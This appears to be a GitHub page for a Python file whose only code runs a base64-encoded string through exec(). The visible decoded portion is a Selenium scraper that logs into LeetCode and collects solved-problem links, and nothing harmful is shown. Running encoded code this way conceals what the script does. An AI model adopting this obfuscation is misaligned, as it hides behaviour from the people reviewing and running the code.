-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
3 lines (2 loc) · 1.49 KB
/
main.py
1
2
3
import base64
exec(base64.b64decode("aW1wb3J0IG9zCmltcG9ydCBiYXNlNjQKZnJvbSB0aW1lIGltcG9ydCBzbGVlcApmcm9tIHNlbGVuaXVtIGltcG9ydCB3ZWJkcml2ZXIKZnJvbSB3ZWJkcml2ZXJfbWFuYWdlci5jaHJvbWUgaW1wb3J0IENocm9tZURyaXZlck1hbmFnZXIKCm9wdGlvbnMgPSB3ZWJkcml2ZXIuQ2hyb21lT3B0aW9ucygpCm9wdGlvbnMuYWRkX2FyZ3VtZW50KCJ1c2VyLWRhdGEtZGlyPXt9XGRyaXZlcl9kYXRhIi5mb3JtYXQob3MuZ2V0Y3dkKCkpKQoKZHJpdmVyID0gd2ViZHJpdmVyLkNocm9tZShDaHJvbWVEcml2ZXJNYW5hZ2VyKCkuaW5zdGFsbCgpLCBjaHJvbWVfb3B0aW9ucz1vcHRpb25zKQoKZHJpdmVyLmdldCgiaHR0cHM6Ly9sZWV0Y29kZS5jb20vIikKCndoaWxlICIxIiAhPSBpbnB1dCgicHJlc3MgMSB3aGVuIHNpZ25lZCBpbjogIik6CiAgICBwYXNzCgpwcmludCgiYWNjZXNzaW5nIFF1ZXN0aW9ucyIpCmRyaXZlci5nZXQoImh0dHBzOi8vbGVldGNvZGUuY29tL3Byb2JsZW1zZXQvYWxsLz9zdGF0dXM9U29sdmVkIikKc2xlZXAoMykKc2VsZWN0ID0gZHJpdmVyLmZpbmRfZWxlbWVudF9ieV90YWdfbmFtZSgic2VsZWN0IikKc2VsZWN0LmNsaWNrKCkKb3B0aW9ucyA9IGRyaXZlci5maW5kX2VsZW1lbnRzX2J5X3RhZ19uYW1lKCJvcHRpb24iKQpmb3Igb3B0aW9uIGluIG9wdGlvbnM6CiAgICBvcHRpb24uY2xpY2soKQoKbGlua3MgPSBkcml2ZXIuZmluZF9lbGVtZW50c19ieV90YWdfbmFtZSgiYSIp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